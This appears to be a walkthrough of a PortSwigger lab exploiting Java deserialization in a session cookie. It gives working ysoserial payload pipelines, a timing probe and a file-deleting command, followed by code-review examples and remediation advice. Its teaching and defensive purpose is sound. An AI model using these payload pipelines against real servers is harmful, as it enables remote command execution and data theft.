Table of Contents
- Summary
- Methodology
- Step 1: Identify the Serialized Cookie
- Step 2: Decode the Cookie
- Step 3: Confirm Vulnerability with a Timing Probe
- Step 4: Trigger Remote Command Execution
- Why This Worked
- Code Review Perspective
- Impact
- Remediation
- Key Takeaway
- Appendix
Summary #
While inspecting traffic from a logged-in session, I noticed that the application's session cookie contained a long Base64-looking blob with a recognizable shape:
Cookie: session=rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLk...
The rO0AB prefix is a strong passive signal — Base64-decoded, it produces the bytes ac ed 00 05, which are the magic header of a Java ObjectOutputStream (STREAM_MAGIC = 0xACED, STREAM_VERSION = 5). Whenever a server hands a client a raw serialized Java object as a cookie, it almost always reads that cookie back through ObjectInputStream.readObject() on the next request — which is the exact primitive that makes deserialization gadget-chain attacks possible.
The lab description confirms that the application loads the Apache Commons Collections library, so the attack surface is well-defined: forge a serialized payload using a known gadget chain from ysoserial, encode it the same way the original cookie was encoded, and send it back through the session parameter to trigger remote command execution. The objective for this lab is to delete /home/carlos/morale.txt.
Methodology #
The approach broke down into the following stages:
- Identify the serialized blob in the session cookie passively, by recognizing the
rO0ABBase64 prefix. - Decode the cookie through every encoding layer until reaching raw bytes, then verify the
aced 0005magic header. - Read the structure of the deserialized object by hand to confirm what class the server expects and what fields it carries.
- Confirm the lab is genuinely vulnerable by sending a timing-based payload (
sleep 10) before attempting the destructive command. - Iterate through
ysoserialgadget chains until one fires successfully. - Re-encode a payload that runs
rm /home/carlos/morale.txt, send it through the cookie, and verify the file is gone.
The general principle when attacking a serialized cookie is to treat each layer of the encoding wrapper as something the server will reverse on its end — anything you change in your payload has to be packaged identically to the original, or the server-side decoder fails before the deserializer is ever reached. In this case the wrapper is straightforward (URL encoding over Base64 over raw Java serialization), but getting the layers right is what separates a working exploit from a 100ms 500-error that looks like the lab is patched when it isn't.
Step 1: Identify the Serialized Cookie #
Logging in as wiener:peter produced the following request:
GET /my-account?id=wiener HTTP/2
Host: 0abd00a9033c5dfe80637b0900200098.web-security-academy.net
Cookie: session=rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR%2FOUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBqcHp4YnZzOG5taTQ1M2E1czZibnp5eHFuaDhpM2s1aXQABndpZW5lcg%3d%3d
The cookie value has two telltale features. The rO0AB prefix Base64-decodes to bytes starting with ac ed, the Java serialization magic. The %2F and %3d sequences indicate URL encoding sitting on top of the Base64. So the wrapper, from outside in, is: URL encoding → Base64 → raw Java serialized object. There is no gzip or zlib layer — those would show different magic bytes (1f 8b for gzip, 78 9c or 78 da for zlib) once decoded.
Step 2: Decode the Cookie #
Peeling the encoding layers off in order produces a hex dump that can be read directly:
echo "rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBqcHp4YnZzOG5taTQ1M2E1czZibnp5eHFuaDhpM2s1aXQABndpZW5lcg%3d%3d" \
| python3 -c "import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))" \
| base64 -d \
| xxd
Output:
00000000: aced 0005 7372 002f 6c61 622e 6163 7469 ....sr./lab.acti
00000010: 6f6e 732e 636f 6d6d 6f6e 2e73 6572 6961 ons.common.seria
00000020: 6c69 7a61 626c 652e 4163 6365 7373 546f lizable.AccessTo
00000030: 6b65 6e55 7365 7219 51fc e512 27a9 8102 kenUser.Q...'...
00000040: 0002 4c00 0b61 6363 6573 7354 6f6b 656e ..L..accessToken
00000050: 7400 124c 6a61 7661 2f6c 616e 672f 5374 t..Ljava/lang/St
00000060: 7269 6e67 3b4c 0008 7573 6572 6e61 6d65 ring;L..username
00000070: 7100 7e00 0178 7074 0020 6a70 7a78 6276 q.~..xpt. jpzxbv
00000080: 7338 6e6d 6934 3533 6135 7336 626e 7a79 s8nmi453a5s6bnzy
00000090: 7871 6e68 3869 336b 3569 7400 0677 6965 xqnh8i3k5it..wie
000000a0: 6e65 72 ner
The first four bytes (ac ed 00 05) confirm this is a raw Java serialized stream with no additional compression layer to undo. From here the structure is readable by anyone familiar with the ObjectOutputStream wire format: 73 is TC_OBJECT, 72 is TC_CLASSDESC, the 47-byte class name lab.actions.common.serializable.AccessTokenUser follows, then the eight-byte serialVersionUID, then two object fields (accessToken and username) typed as Ljava/lang/String;. The two trailing strings are the actual values: a 32-character access token and the username wiener.
The deserialized object can be read as AccessTokenUser{accessToken="jpzxbvs8nmi453a5s6bnzyxqnh8i3k5i", username="wiener"}. The cookie is plain, unsigned, and unencrypted — there is no HMAC layer to defeat. The server will deserialize whatever bytes it receives in this parameter, which is the exact preconditions a gadget chain needs.
Step 3: Confirm Vulnerability with a Timing Probe #
Before generating a destructive payload, it is worth confirming that the lab is actually vulnerable to a known gadget chain and that the encoding pipeline reaches the deserializer intact. The reliable way to do this is a timing probe: a payload that calls sleep 10 will block the response for ten seconds if it executes, and complete in milliseconds if the server rejects the cookie before deserialization.
I generated a CommonsCollections4 payload because the lab description explicitly mentions Apache Commons Collections is loaded:
~/.sdkman/candidates/java/current/bin/java \
-jar ysoserial-all.jar CommonsCollections4 'sleep 10' 2>/dev/null \
| base64 -w0 \
| python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip(), safe=''), end='')"
The pipeline mirrors the original cookie's encoding exactly: ysoserial writes raw Java serialized bytes to stdout, base64 -w0 produces a single-line Base64 string, and urllib.parse.quote(..., safe='') URL-encodes everything including the /, +, and = characters that Base64 tends to produce. Skipping the URL-encode step is the most common reason a payload looks correct but the server returns instantly with a 500 — the Base64 decoder on the server side chokes on + characters that get interpreted as spaces in transit.
Submitting this value as the session cookie produced a response that took approximately ten seconds to return. The lab is vulnerable to CommonsCollections4, the encoding pipeline is correct, and the gadget chain reaches Runtime.exec() on the backend.
A quick aside on Java versions: ysoserial is built against JDK 8, and on JDK 16+ it requires a long list of --add-opens flags to bypass the strong encapsulation of internal modules. The simplest workaround is to install JDK 8 through SDKMAN and invoke it directly with an absolute path, which sidesteps the module-system arguments entirely.
Step 4: Trigger Remote Command Execution #
With the gadget chain confirmed, swapping the command from sleep 10 to the destructive payload is mechanical:
~/.sdkman/candidates/java/current/bin/java \
-jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' 2>/dev/null \
| base64 -w0 \
| python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip(), safe=''), end='')" \
| wl-copy
The output is a Base64+URL-encoded blob (truncated for readability):
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6...AAAAAXEAfgApeA%3D%3D
Submitting this as the session cookie value:
GET /my-account?id=wiener HTTP/2
Host: 0abd00a9033c5dfe80637b0900200098.web-security-academy.net
Cookie: session=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6...AAAAAXEAfgApeA%3D%3D
Returned an HTTP 500:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
<h4>Internal Server Error</h4>
<p class=is-warning>InstantiateTransformer: Constructor threw an exception</p>
The 500 looks like a failure on first read, but it isn't — it is the expected outcome. The gadget chain executes the command as a side effect during deserialization, then continues unwinding and eventually fails to cast the resulting object to AccessTokenUser (since it is now a PriorityQueue of transformed values, not a user object). The exception happens after Runtime.exec() has already fired. The lab page refreshed to show "Solved", confirming morale.txt had been deleted.
Why This Worked #
The application accepts a serialized Java object as a session cookie and calls readObject() on the bytes the client supplies. That single design choice is the entire vulnerability — once an attacker controls the input to ObjectInputStream, the server's class loader becomes the attack surface, and any class on the classpath that implements a readObject, readResolve, or finalize method with side effects becomes a potential gadget.
The Apache Commons Collections library is the well-known case. Classes like InvokerTransformer, ChainedTransformer, and InstantiateTransformer were designed for legitimate functional programming patterns — chaining method invocations dynamically — but they happen to be Serializable, and their deserialization path executes the chained method invocations as a side effect. An attacker can construct an object graph that, when deserialized, walks through Runtime.getRuntime().exec("rm /home/carlos/morale.txt") purely as a consequence of the deserialization process. No bug in Commons Collections is being exploited; the library is doing exactly what it was designed to do, just on attacker-supplied input.
The broken assumption is that deserialization is a passive operation. It is not. readObject() is closer to "execute this object graph" than "parse this data structure" — every Serializable class on the classpath is implicitly part of the input grammar of ObjectInputStream. There is no safe way to deserialize untrusted data with the default ObjectInputStream, regardless of what the application thinks the resulting object will be cast to. The cast happens after deserialization, by which point the gadget has already fired.
Code Review Perspective #
Vulnerable Example — Direct Pass-Through #
The most obvious form of this vulnerability:
1import java.io.*;
2import java.util.Base64;
3import javax.servlet.http.*;
4
5public class SessionFilter {
6 public AccessTokenUser loadSession(HttpServletRequest req) throws Exception {
7 String cookie = getCookieValue(req, "session");
8 byte[] bytes = Base64.getDecoder().decode(cookie);
9
10 try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
11 return (AccessTokenUser) ois.readObject();
12 }
13 }
14}
The attacker controls cookie, the bytes flow directly into ObjectInputStream.readObject(), and the cast to AccessTokenUser happens too late to matter. The cast is a runtime check on the result of deserialization, not a constraint on what classes can be deserialized along the way.
Less Obviously Broken — Cast Before Read #
A developer who has heard "always validate types" might write something like this and believe it is safe:
1public AccessTokenUser loadSession(HttpServletRequest req) throws Exception {
2 String cookie = getCookieValue(req, "session");
3 byte[] bytes = Base64.getDecoder().decode(cookie);
4
5 try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
6 Object obj = ois.readObject();
7 if (!(obj instanceof AccessTokenUser)) {
8 throw new SecurityException("Invalid session type");
9 }
10 return (AccessTokenUser) obj;
11 }
12}
The instanceof check looks defensive, but it runs after readObject() has already deserialized the entire object graph — including every transformer, every method invocation, every side effect baked into the gadget chain. By the time the type check fails and the SecurityException is thrown, the attacker's command has already executed. Throwing an exception does not undo Runtime.exec().
Weak Fix — Class Blocklist #
Some teams respond to this by maintaining a blocklist of known-bad classes:
1public AccessTokenUser loadSession(HttpServletRequest req) throws Exception {
2 String cookie = getCookieValue(req, "session");
3 byte[] bytes = Base64.getDecoder().decode(cookie);
4
5 try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)) {
6 @Override
7 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
8 String name = desc.getName();
9 if (name.contains("InvokerTransformer") || name.contains("TemplatesImpl")) {
10 throw new InvalidClassException("Blocked class: " + name);
11 }
12 return super.resolveClass(desc);
13 }
14 }) {
15 return (AccessTokenUser) ois.readObject();
16 }
17}
The fix addresses the gadget classes that were known when the developer wrote it. New gadget chains keep being discovered — ysoserial alone ships with chains targeting Spring, Groovy, Hibernate, JRE-only classes (no third-party library required), and others. Each new chain requires another patch. The team is permanently behind, defending against yesterday's payloads while tomorrow's research is published.
Secure Implementation — Allowlist via resolveClass #
If the application genuinely needs to deserialize untrusted input — which is rare and worth questioning — the only defensible approach is an allowlist of expected classes:
1public class SafeObjectInputStream extends ObjectInputStream {
2 private static final Set<String> ALLOWED = Set.of(
3 "lab.actions.common.serializable.AccessTokenUser",
4 "java.lang.String"
5 );
6
7 public SafeObjectInputStream(InputStream in) throws IOException {
8 super(in);
9 }
10
11 @Override
12 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
13 if (!ALLOWED.contains(desc.getName())) {
14 throw new InvalidClassException("Disallowed class: " + desc.getName());
15 }
16 return super.resolveClass(desc);
17 }
18}
The check now runs during stream parsing, before the constructor of the disallowed class is invoked. An attacker who tries to slip a PriorityQueue of transformers into the stream gets rejected at the first unknown class descriptor — resolveClass is called for every class in the stream as it is encountered, so the gadget chain never gets a chance to construct its first object.
Even Better — Stop Deserializing Untrusted Input #
The architectural fix is to abandon Java native serialization for any data that crosses a trust boundary:
1public AccessTokenUser loadSession(HttpServletRequest req) {
2 String sessionId = getCookieValue(req, "session");
3 return sessionStore.get(sessionId);
4}
The cookie carries an opaque session identifier, server-side state holds the actual user object, and ObjectInputStream never touches attacker-controlled bytes. This is how essentially every modern web framework handles sessions, and it eliminates the entire class of attacks rather than patching individual gadget chains. If structured data does need to traverse the boundary, JSON or Protocol Buffers parsed into a fixed schema is dramatically safer than native serialization, because the parser does not instantiate arbitrary classes named in the input.
Impact #
An attacker who can submit a forged session cookie achieves remote command execution on the application server, running with the privileges of the web application process. The lab demonstrates the minimum case (deleting a file in another user's home directory), but in a real environment the same primitive supports:
- Reading application source code, configuration files, and environment variables (
/proc/self/environ,/app/.env,application.properties) - Exfiltrating database credentials, cloud provider keys, and TLS private keys from the filesystem
- Establishing a reverse shell or installing a persistent backdoor — the
Runtime.execprimitive places no constraint on what command runs - Pivoting laterally into internal network services that trust the application server's identity (cloud metadata endpoints, internal APIs, database hosts behind a VPC)
In environments where the application server runs as root or has access to a Kubernetes service account, deserialization RCE is frequently the entry point for full cluster compromise. The fact that Apache Commons Collections is on the classpath of countless production Java applications — often as a transitive dependency a developer never explicitly chose — is what makes this class of vulnerability so persistently dangerous.
Remediation #
The correct fix is to stop calling ObjectInputStream.readObject() on data that has crossed a trust boundary. Concretely:
- Replace native Java serialization for session cookies with an opaque session identifier backed by server-side storage. This is the architectural fix and the one to push for. The application no longer has any reason to deserialize attacker-controlled bytes, so no gadget chain on any library on the classpath matters.
- If structured data genuinely must travel through the cookie, switch to a format whose parser does not instantiate arbitrary classes — JSON deserialized into a known schema, or Protocol Buffers. The class loader is no longer part of the attack surface.
- If native serialization cannot be removed in the short term, implement a strict allowlist via a custom
ObjectInputStreamsubclass that overridesresolveClass. Reject any class name not on the explicit allowlist. This is a holding pattern, not a destination — every new dependency added to the classpath becomes a question of whether it introduces new gadget chains.
Blocklists, signature checks, and runtime type assertions after readObject() are all insufficient. Signature checks help in the specific case where the only threat is tampering with a server-issued blob, but they do nothing about the attacker who steals the signing key (as in the related lab on signed PHP sessions) and they do not remove the underlying deserialization risk.
Key Takeaway #
Java's ObjectInputStream.readObject() is not a parser — it is closer to a deserializer-cum-interpreter that walks an attacker-supplied object graph and invokes constructors, readObject methods, and other side-effecting code along the way. Any class on the classpath that implements Serializable and has interesting side effects in its deserialization path becomes part of the input grammar, whether the application developer intended it to or not. The defensive instinct to validate the type of the deserialized result misses the point entirely: the damage is done during parsing, before the cast ever runs. The right mental model when you see a Java application deserializing untrusted bytes is the same one to apply when you see a SQL query built by string concatenation — the question is not "can we filter the bad inputs" but "why is attacker-controlled data reaching this sink at all."
Appendix #
Lab #
Exploiting Java deserialization with Apache Commons — PortSwigger Web Security Academy.
Tools Used #
ysoserial— generated the serialized gadget-chain payload (CommonsCollections4chain) carrying thermcommand. github.com/frohoff/ysoserial- SDKMAN — installed JDK 8 (
8.0.422-tem) soysoserialruns without the--add-opensarguments required by JDK 16+. sdkman.io - Burp Suite Repeater — sent the forged cookie and observed the 500 response that confirms gadget execution.
xxd— inspected the decoded cookie bytes to confirm theaced 0005Java serialization magic.
Background Reading #
- PortSwigger — Insecure deserialization
- OWASP — Deserialization Cheat Sheet
- Frohoff & Lawrence — Marshalling Pickles (AppSecCali 2015)
- Foxglove Security — What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common?
- Java Object Serialization Stream Protocol — official wire-format reference.
Useful Commands #
Decode a Java serialized cookie through all encoding layers:
1echo "<COOKIE_VALUE>" \
2 | python3 -c "import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))" \
3 | base64 -d \
4 | xxd
Generate, Base64-encode, and URL-encode a ysoserial payload in one pipeline:
1~/.sdkman/candidates/java/current/bin/java \
2 -jar <PATH_TO_YSOSERIAL>/ysoserial-all.jar \
3 <CHAIN> '<COMMAND>' 2>/dev/null \
4 | base64 -w0 \
5 | python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip(), safe=''), end='')"
Same pipeline with the JDK 16+ module-system flags, when SDKMAN-managed JDK 8 is not available:
1java \
2 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
3 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
4 --add-opens=java.base/java.net=ALL-UNNAMED \
5 --add-opens=java.base/java.util=ALL-UNNAMED \
6 -jar ysoserial-all.jar <CHAIN> '<COMMAND>'
Quick magic-byte reference for identifying decoded payloads:
| Bytes | Format |
|---|---|
ac ed 00 05 |
Java ObjectOutputStream |
1f 8b |
gzip |
78 9c / 78 da |
zlib |
50 4b 03 04 |
ZIP / JAR / DOCX |
Helper Scripts #
URL-encode/decode helpers worth dropping into ~/.bashrc or ~/.zshrc:
1urlencode() { python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read().strip(), safe=''))"; }
2urldecode() { python3 -c "import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))"; }
Once these are loaded, the full gadget pipeline shortens to:
1ysoserial CommonsCollections4 '<COMMAND>' 2>/dev/null | base64 -w0 | urlencode